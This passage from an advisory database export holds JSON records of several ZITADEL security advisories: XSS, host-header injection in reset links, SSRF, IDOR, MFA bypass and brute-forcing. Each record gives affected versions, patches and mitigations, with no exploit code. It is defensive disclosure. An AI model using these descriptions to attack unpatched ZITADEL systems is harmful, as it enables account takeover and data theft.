Zitadel V2 Login domain.\n\nAn unauthenticated remote attacker can exploit this DOM-based XSS vulnerability, and thus, execute malicious JavaScript code on behalf of Zitadel users. By doing so, such an attacker could reset the password of their victims, and take over their accounts.\n\nNote that for this to work, multiple user sessions need to be active in the same browser. Additionally, it's important to note that an account takeover is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.\n\n### Affected Versions\n\nSystems using the login UI (v2) and running one of the following versions are affected:\n- **v4.x**: `4.0.0-rc.1` through `4.7.0`\n\n### Patches\n\nThe vulnerability has been addressed in the latest release. The patch resolves the issue by ensuring the information was passed for the ZITADEL API using a JSON Web Token (JWT).\nIf you're running your own login UI, we recommend switching over to the new `logout_token` parameter, which contains all information previously passed via specific query parameters. The contained JWT's signature needs to be verified with the instance OAuth2/OIDC public keys (jwks_uri).\n\nBefore you upgrade, ensure that:\n- the `ZITADEL_API_URL` is set and is pointing to your instance, resp. system in multi-instance deployments.\n- the HTTP `host` (or a `x-forwarded-host`) is passed in your reverse proxy to the login UI.\n- a `x-zitadel-instance-host` (or `x-zitadel-forward-host`) is set in your reverse for multi-instance deployments. If you're running a single instance solution, you don't need to take any actions.\n\nPatched versions:\n- 4.x: Upgrade to \u003e=[4.7.1](https://github.com/zitadel/zitadel/releases/tag/v4.7.1)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-12-08T22:20:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-v959-qxv6-6f8p","https://github.com/zitadel/zitadel/commit/4c879b47334e01d4fcab921ac1b44eda39acdb96","https://nvd.nist.gov/vuln/detail/CVE-2025-67495","https://github.com/advisories/GHSA-v959-qxv6-6f8p"],"source_kind":"github","identifiers":["GHSA-v959-qxv6-6f8p","CVE-2025-67495"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-08T23:00:07.273Z","updated_at":"2026-11-04T06:07:43.640Z","epss_percentage":0.003,"epss_percentile":0.22531,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OTU5LXF4djYtNmY4cM4ABPUZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OTU5LXF4djYtNmY4cM4ABPUZ","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251208091519-4c879b47334e","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251208091519-4c879b47334e"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.7.1","vulnerable_version_range":"\u003e= 4.0.0-rc.1, \u003c 4.7.1"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.83.4, \u003c= 1.87.5"},{"first_patched_version":"1.80.0-v2.20.0.20251208091519-4c879b47334e","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251208091519-4c879b47334e"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OTU5LXF4djYtNmY4cM4ABPUZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZnJmLTlyNWYtNzNmNc4ABPUY","url":"https://github.com/advisories/GHSA-pfrf-9r5f-73f5","title":"ZITADEL Vulnerable to Account Takeover Due to Improper Instance Validation in V2 Login","description":"### Summary\n\nA potential vulnerability exists in ZITADEL's password reset mechanism in login V2. ZITADEL utilizes the Forwarded or X-Forwarded-Host header from incoming requests to construct the URL for the password reset confirmation link. This link, containing a secret code, is then emailed to the user.\n\n### Impact\n\nIf an attacker can manipulate these headers (e.g., via host header injection), they could cause ZITADEL to generate a password reset link pointing to a malicious domain controlled by the attacker. If the user clicks this manipulated link in the email, the secret reset code embedded in the URL can be captured by the attacker. This captured code could then be used to reset the user's password and gain unauthorized access to their account.\n\nIt's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.\n\n### Affected Versions\n\nSystems using the login UI (v2) and running one of the following versions are affected:\n- **v4.x**: `4.0.0-rc.1` through `4.7.0`\n\n### Patches\n\nThe vulnerability has been addressed in the latest release. The patch resolves the issue by correctly validating the X-Forwarded-Host and Forwarded headers against the instance custom and trusted domains.\n\nBefore you upgrade, ensure that:\n- the `ZITADEL_API_URL` is set and is pointing to your instance, resp. system in multi-instance deployments.\n- the HTTP `host` (or a `x-forwarded-host`) is passed in your reverse proxy to the login UI.\n- a `x-zitadel-instance-host` (or `x-zitadel-forward-host`) is set in your reverse for multi-instance deployments. If you're running a single instance solution, you don't need to take any actions.\n\nPatched versions:\n- 4.x: Upgrade to \u003e=[4.7.1](https://github.com/zitadel/zitadel/releases/tag/v4.7.1)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\nA ZITADEL fronting proxy can be configured to delete all forwarded header values or set it to the requested host before sending requests to ZITADEL self-hosted environments.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-12-08T22:19:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-pfrf-9r5f-73f5","https://github.com/zitadel/zitadel/commit/4c879b47334e01d4fcab921ac1b44eda39acdb96","https://nvd.nist.gov/vuln/detail/CVE-2026-29067","https://github.com/advisories/GHSA-pfrf-9r5f-73f5"],"source_kind":"github","identifiers":["GHSA-pfrf-9r5f-73f5","CVE-2026-29067"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-08T23:00:07.273Z","updated_at":"2026-11-04T06:07:43.641Z","epss_percentage":0.00372,"epss_percentile":0.31145,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZnJmLTlyNWYtNzNmNc4ABPUY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZnJmLTlyNWYtNzNmNc4ABPUY","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251208091519-4c879b47334e","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251208091519-4c879b47334e"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.7.1","vulnerable_version_range":"\u003e= 4.0.0-rc.1, \u003c 4.7.1"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.83.4, \u003c= 1.87.5"},{"first_patched_version":"1.80.0-v2.20.0.20251208091519-4c879b47334e","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251208091519-4c879b47334e"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZnJmLTlyNWYtNzNmNc4ABPUY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03d2ZjLTQ3OTYtZ21nNc4ABPUX","url":"https://github.com/advisories/GHSA-7wfc-4796-gmg5","title":"ZITADEL Vulnerable to Unauthenticated Full-Read SSRF via V2 Login","description":"### Summary\n\nZitadel is vulnerable to an unauthenticated, full-read SSRF vulnerability. An unauthenticated remote attacker can force Zitadel into making HTTP requests to arbitrary domains, including internal addresses. The server then returns the upstream response to the attacker, enabling data exfiltration from internal services.\n\n### Impact\n\nZITADEL Login UI (V2) was vulnerable to service URL manipulation through the x-zitadel-forward-host header. The service URL resolution logic treated the header as a trusted fallback for all deployments, including self-hosted instances. This allowed unauthenticated attacker to force the server to make outbound requests and read the responses, reaching internal services, exfiltrating data, and bypassing IP-based or network-segmentation controls. \n \n### Affected Versions\n\nSystems using the login UI (v2) and running one of the following versions are affected:\n- **v4.x**: `4.0.0-rc.1` through `4.7.0`\n\n### Patches\n\nThe vulnerability has been addressed in the latest release. The patch resolves the issue by correctly validating the x-zitadel-forward-host, resp. all forwarded headers against the instance domains and trusted domains. It's no longer used to route traffic to the Zitadel API.\n\nBefore you upgrade, ensure that:\n- the `ZITADEL_API_URL` is set and is pointing to your instance, resp. system in multi-instance deployments.\n- the HTTP `host` (or a `x-forwarded-host`) is passed in your reverse proxy to the login UI.\n- a `x-zitadel-instance-host` (or `x-zitadel-forward-host`) is set in your reverse for multi-instance deployments. If you're running a single instance solution, you don't need to take any actions.\n\nFixed versions:\n- 4.x: Upgrade to \u003e=[4.7.1](https://github.com/zitadel/zitadel/releases/tag/v4.7.1)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\nA ZITADEL fronting proxy can be configured to delete all `x-zitadel-forward-host` header values or set it to the requested host before sending requests to ZITADEL self-hosted environments.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-12-08T22:19:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-7wfc-4796-gmg5","https://github.com/zitadel/zitadel/commit/4c879b47334e01d4fcab921ac1b44eda39acdb96","https://nvd.nist.gov/vuln/detail/CVE-2025-67494","https://github.com/advisories/GHSA-7wfc-4796-gmg5"],"source_kind":"github","identifiers":["GHSA-7wfc-4796-gmg5","CVE-2025-67494"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-08T23:00:07.273Z","updated_at":"2026-11-04T06:07:43.642Z","epss_percentage":0.00444,"epss_percentile":0.38544,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03d2ZjLTQ3OTYtZ21nNc4ABPUX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03d2ZjLTQ3OTYtZ21nNc4ABPUX","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251208091519-4c879b47334e","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251208091519-4c879b47334e"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.7.1","vulnerable_version_range":"\u003e= 4.0.0-rc.1, \u003c 4.7.1"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.83.4, \u003c= 1.87.5"},{"first_patched_version":"1.80.0-v2.20.0.20251208091519-4c879b47334e","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251208091519-4c879b47334e"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03d2ZjLTQ3OTYtZ21nNc4ABPUX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNGc3LXY0bTQtNzdweM4ABOjx","url":"https://github.com/advisories/GHSA-j4g7-v4m4-77px","title":"ZITADEL is vulnerable to Account Takeover with deactivated Instance IdP","description":"### Summary\n\nA vulnerability in ZITADEL's federation process allowed auto-linking users from external identity providers to existing users in ZITADEL even if the corresponding IdP was not active or if the organization did not allow federated authentication.\n\n### Impact\n\nThis vulnerability stems from the platform's failure to correctly check or enforce an organization's specific security settings during the authentication flow. An Organization Administrator can explicitly disable an IdP or disallow federation, but this setting was not being honored during the auto-linking process.\n\nThis allowed an unauthenticated attacker to initiate a login using an IdP that should have been disabled for that organization. The platform would incorrectly validate the login and, based on a matching criteria, link the attacker's external identity to an existing internal user account.\n\nThis may result in a full Account Takeover, bypassing the organization's mandated security controls. Note that accounts with MFA enabled can not be taken over by this attack. Also note that only IdPs create on an instance level would allow this to work. IdPs registered on another organization would always be denied in the (auto-)linking process.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n- **v4.x**: `4.0.0-rc.1` through `4.6.5`\n- **v3.x**: `3.0.0-rc.1` through `3.4.3`\n- **v2.x**: `2.50.0` through `2.71.18`\n\n### Patches\n\nThe vulnerability has been addressed in the latest release. The patch resolves the issue by correctly validating the organization's login policy before auto-linking an external user.\n\n- v4.x: Upgrade to version [4.6.6](https://github.com/zitadel/zitadel/releases/tag/v4.6.6) or later.\n- v3.x: Update to version [3.4.4](https://github.com/zitadel/zitadel/releases/tag/v3.4.4) or later.\n- v2.x: Update to version [2.71.19](https://github.com/zitadel/zitadel/releases/tag/v2.71.19) or later.\n\n### Workarounds\n\nUpgrading to a patched version is the recommended solution.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email Zitadel at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Jan Kühnlein - kultify for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-11-14T21:11:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-j4g7-v4m4-77px","https://nvd.nist.gov/vuln/detail/CVE-2025-64717","https://github.com/zitadel/zitadel/commit/33c51deb20402dd5720e32cfb0c1d5fdc752f2e0","https://github.com/zitadel/zitadel/releases/tag/v2.71.19","https://github.com/zitadel/zitadel/releases/tag/v3.4.4","https://github.com/zitadel/zitadel/releases/tag/v4.6.6","https://github.com/advisories/GHSA-j4g7-v4m4-77px"],"source_kind":"github","identifiers":["GHSA-j4g7-v4m4-77px","CVE-2025-64717"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-14T22:00:08.509Z","updated_at":"2026-11-04T06:07:52.085Z","epss_percentage":0.00495,"epss_percentile":0.42503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNGc3LXY0bTQtNzdweM4ABOjx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNGc3LXY0bTQtNzdweM4ABOjx","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251112124840-33c51deb2040","vulnerable_version_range":"\u003e= 1.80.0-v2.20.0.20240403060621-5b3946b67ef6, \u003c 1.80.0-v2.20.0.20251112124840-33c51deb2040"},{"first_patched_version":"2.71.19","vulnerable_version_range":"\u003e= 2.50.0, \u003c 2.71.19"},{"first_patched_version":"3.4.4","vulnerable_version_range":"\u003e= 3.0.0-rc.1, \u003c 3.4.4"},{"first_patched_version":"4.6.6","vulnerable_version_range":"\u003e= 4.0.0-rc.1, \u003c 4.6.6"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNGc3LXY0bTQtNzdweM4ABOjx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcGY0LXBtcjQtdzZjeM4ABOO-","url":"https://github.com/advisories/GHSA-cpf4-pmr4-w6cx","title":"IDOR Vulnerabilities in ZITADEL's Organization API allows Cross-Tenant Data Tempering","description":"### Summary\n\nZITADEL's Organization V2Beta API contains Insecure Direct Object Reference (IDOR) vulnerabilities that allow authenticated users with specific **administrator** roles within one organization to access and modify data belonging to **other** organizations.\n\n### Impact\n\nZITADEL's Organization V2Beta API, intended for managing ZITADEL organizations, contains multiple endpoints that fail to properly authorize authenticated users. An attacker with an administrator role for a specific organization could exploit this to bypass access controls and perform unauthorized actions on other organizations within the same ZITADEL instance.\n\nThis could allow an attacker to:\n\n- **Read** organization data, including the name, domains and metadata.\n- **Manipulate** (modify) the corresponding organization data.\n- **Delete** the corresponding data, up to and including the entire organization.\n\nNote that this vulnerability is limited to organization-level data (name, domains, metadata). **No other related data (such as users, projects, applications, etc.) is affected.**\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n- **v4.x**: `4.0.0-rc.1` through `4.6.2`\n\n### Patches\n\nThe vulnerability has been addressed in the latest release. The patch resolves the issue by correctly validating the caller's permission against the target organization.\n\n- v4.x: Upgrade to version [4.6.3](https://github.com/zitadel/zitadel/releases/tag/v4.6.3) or later.\n\n### Workarounds\n\nUpgrading to a patched version is the recommended solution.\n\nIf an immediate upgrade is not possible, mitigation can be achieved by disabling the affected Organization V2Beta API endpoints (e.g., /v2beta/organizations/...) at a reverse proxy or Web Application Firewall (WAF) level.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-11-05T19:52:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-cpf4-pmr4-w6cx","https://github.com/zitadel/zitadel/commit/8dcfff97ed52a8b9fc77ecb1f972744f42cff3ed","https://github.com/zitadel/zitadel/releases/tag/v4.6.3","https://nvd.nist.gov/vuln/detail/CVE-2025-64431","https://github.com/advisories/GHSA-cpf4-pmr4-w6cx"],"source_kind":"github","identifiers":["GHSA-cpf4-pmr4-w6cx","CVE-2025-64431"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2025-11-05T20:00:21.141Z","updated_at":"2026-10-26T21:06:28.251Z","epss_percentage":0.00303,"epss_percentile":0.22838,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcGY0LXBtcjQtdzZjeM4ABOO-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcGY0LXBtcjQtdzZjeM4ABOO-","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251105083648-8dcfff97ed52","vulnerable_version_range":"\u003e= 1.80.0-v2.20.0.20250414095945-f365cee73242, \u003c 1.80.0-v2.20.0.20251105083648-8dcfff97ed52"},{"first_patched_version":"4.6.3","vulnerable_version_range":"\u003e= 4.0.0-rc.1, \u003c 4.6.2"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcGY0LXBtcjQtdzZjeM4ABOO-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZmpxLTI4cjItNGp2Nc4ABN_A","url":"https://github.com/advisories/GHSA-cfjq-28r2-4jv5","title":"Zitadel May Bypass Second Authentication Factor","description":"### Summary\n\nA vulnerability in Zitadel's token verification prematurely marked sessions as authenticated when only one factor was verified. \n\n### Impact\n\nZitadel provides an API for managing sessions, enabling custom login experiences in a dedicated UI or direct integration into applications. Session Tokens are issued for active sessions, which can be used as Bearer tokens to call the Zitadel API.\n\nStarting from 2.55.0 (see other affected versions below), Zitadel only required multi factor authentication in case the login policy has either enabled `requireMFA` or `requireMFAForLocalUsers`. If a user has set up MFA without this requirement, Zitadel would consider single factor auhtenticated sessions as valid as well and not require multiple factors.\n\nBypassing second authentication factors weakens multifactor authentication and enables attackers to bypass the more secure factor. An attacker can target the TOTP code alone, only six digits, bypassing password verification entirely and potentially compromising accounts with 2FA enabled.\n\n### Affected Versions\n\nSystems using the session API (v2 beta and v2) directly or via the new login UI in the following versions are affected:\n- **4.x**: `4.0.0` to `4.5.0` (including RC versions)\n- **3.x**: `3.0.0` to `3.4.2` (including RC versions)\n- **2.x**: `v2.53.6` to `v2.53.9`,  `v2.54.3` to `v2.54.10`, `2.55.0` to `2.71.17`\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring a configured second factor regardless of the login policies `requireMFA` or `requireMFAForLocalUsers` configuration.\n\n4.x: Upgrade to \u003e=[4.6.0](https://github.com/zitadel/zitadel/releases/tag/v4.6.0)\n3.x: Update to \u003e=[3.4.3](https://github.com/zitadel/zitadel/releases/tag/v3.4.3)\n2.x: Update to \u003e=[2.71.18](https://github.com/zitadel/zitadel/releases/tag/v2.71.18)\n\n### Workarounds\n\nThe recommended solution is to update Zitadel to a patched version.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThis vulnerability was found by [zentrust partners GmbH](https://zentrust.partners) during a scheduled penetration test. Thank you to the analysts Martin Tschirsich, Joud Zakharia, Christopher Baumann.\nThe full report will be made public after the complete review.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-10-29T22:21:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-cfjq-28r2-4jv5","https://nvd.nist.gov/vuln/detail/CVE-2025-64103","https://github.com/zitadel/zitadel/commit/b284f8474eed0cba531905101619e7ae7963156b","https://pkg.go.dev/vuln/GO-2025-4083","https://github.com/advisories/GHSA-cfjq-28r2-4jv5"],"source_kind":"github","identifiers":["GHSA-cfjq-28r2-4jv5","CVE-2025-64103"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2025-10-29T23:00:10.935Z","updated_at":"2026-11-05T05:06:35.577Z","epss_percentage":0.00352,"epss_percentile":0.28616,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmpxLTI4cjItNGp2Nc4ABN_A","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZmpxLTI4cjItNGp2Nc4ABN_A","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251029091250-b284f8474eed","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251029091250-b284f8474eed"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"2.71.18","vulnerable_version_range":"\u003e= 2.55.0, \u003c= 2.71.17"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.54.3, \u003c= 2.54.10"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.53.6, \u003c= 2.53.9"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmpxLTI4cjItNGp2Nc4ABN_A/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14cnc5LXIzNXgteDg3OM4ABN-_","url":"https://github.com/advisories/GHSA-xrw9-r35x-x878","title":"Zitadel allows brute-forcing authentication factors","description":"### Summary\n\nA vulnerability in Zitadel allowed brute-force attack on OTP, TOTP and password allowing to impersonate the attacked user.\n\n### Impact\n\nAn attacker can perform an online brute-force attack on OTP, TOTP, and passwords. While Zitadel allows preventing online brute force attacks in scenarios like TOTP, Email OTP, or passwords using a lockout mechanism. The mechanism is not enabled by default and can cause a denial of service for the corresponding user if enabled. Additionally, the mitigation strategies were not fully implemented in the more recent resource-based APIs.\n\n### Affected Versions\n\nAll versions within the following ranges, including release candidates (RCs), are affected:\n- **4.x**: `4.0.0` to `4.4.0` (including RC versions)\n- **3.x**: `3.0.0` to `3.4.2` (including RC versions)\n- **2.x**: `v2.0.0` to `2.71.17`\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by enforcing the lockout policy on all OTP, TOTP and password checks. Additionally a “tar pit” has been introduced to slow down brute-force attacks by default. Zitadel responses will be delayed by t seconds, where t increases over the number of failed attempts within a given timeframe.\n\n4.x: Upgrade to \u003e=[4.6.0](https://github.com/zitadel/zitadel/releases/tag/v4.6.0)\n3.x: Update to \u003e=[3.4.3](https://github.com/zitadel/zitadel/releases/tag/v3.4.3)\n2.x: Update to \u003e=[2.71.18](https://github.com/zitadel/zitadel/releases/tag/v2.71.18)\n\n### Workarounds\n\nThe recommended solution is to update Zitadel to a patched version.\n\nThe problem might be mitigated by enabling the optional logout policy (\"Password maximum attempts\") or by implementing more strict rate limits.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThis vulnerability was found by [zentrust partners GmbH](https://zentrust.partners) during a scheduled penetration test. Thank you to the analysts Martin Tschirsich, Joud Zakharia, Christopher Baumann.\nThe full report will be made public after the complete review.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-10-29T22:21:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-xrw9-r35x-x878","https://nvd.nist.gov/vuln/detail/CVE-2025-64102","https://github.com/zitadel/zitadel/commit/b8db8cdf9cc8ea13f461758aef12457f8b7d972a","https://pkg.go.dev/vuln/GO-2025-4085","https://github.com/advisories/GHSA-xrw9-r35x-x878"],"source_kind":"github","identifiers":["GHSA-xrw9-r35x-x878","CVE-2025-64102"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2025-10-29T23:00:11.049Z","updated_at":"2026-11-05T05:06:35.578Z","epss_percentage":0.0037,"epss_percentile":0.30621,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cnc5LXIzNXgteDg3OM4ABN-_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14cnc5LXIzNXgteDg3OM4ABN-_","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251029090735-b8db8cdf9cc8","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251029090735-b8db8cdf9cc8"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"2.71.18","vulnerable_version_range":"\u003c 2.71.18"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cnc5LXIzNXgteDg3OM4ABN-_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05M200LW1mcGctYzN4Zs4ABIbp","url":"https://github.com/advisories/GHSA-93m4-mfpg-c3xf","title":"ZITADEL Allows Account Takeover via Malicious X-Forwarded-Proto Header Injection","description":"### Impact\n\nA potential vulnerability exists in ZITADEL's password reset mechanism. ZITADEL utilizes the Forwarded or X-Forwarded-Host header from incoming requests to construct the URL for the password reset confirmation link. This link, containing a secret code, is then emailed to the user.\n\nIf an attacker can manipulate these headers (e.g., via host header injection), they could cause ZITADEL to generate a password reset link pointing to a malicious domain controlled by the attacker. If the user clicks this manipulated link in the email, the secret reset code embedded in the URL can be captured by the attacker. This captured code could then be used to reset the user's password and gain unauthorized access to their account.\n\nIt's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.\n\n### Patches\n\nPatched version ensure proper validation of the headers and do not allow downgrading from https to http.\n\n3.x versions are fixed on \u003e=[3.2.2](https://github.com/zitadel/zitadel/releases/tag/v3.2.2)\n2.71.x versions are fixed on \u003e=[2.71.11](https://github.com/zitadel/zitadel/releases/tag/v2.71.11)\n2.x versions are fixed on \u003e=[2.70.12](https://github.com/zitadel/zitadel/releases/tag/v2.70.12)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\nA ZITADEL fronting proxy can be configured to delete all Forwarded and X-Forwarded-Host header values before sending requests to ZITADEL self-hosted environments.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Amit Laish – GE Vernova for finding and reporting the 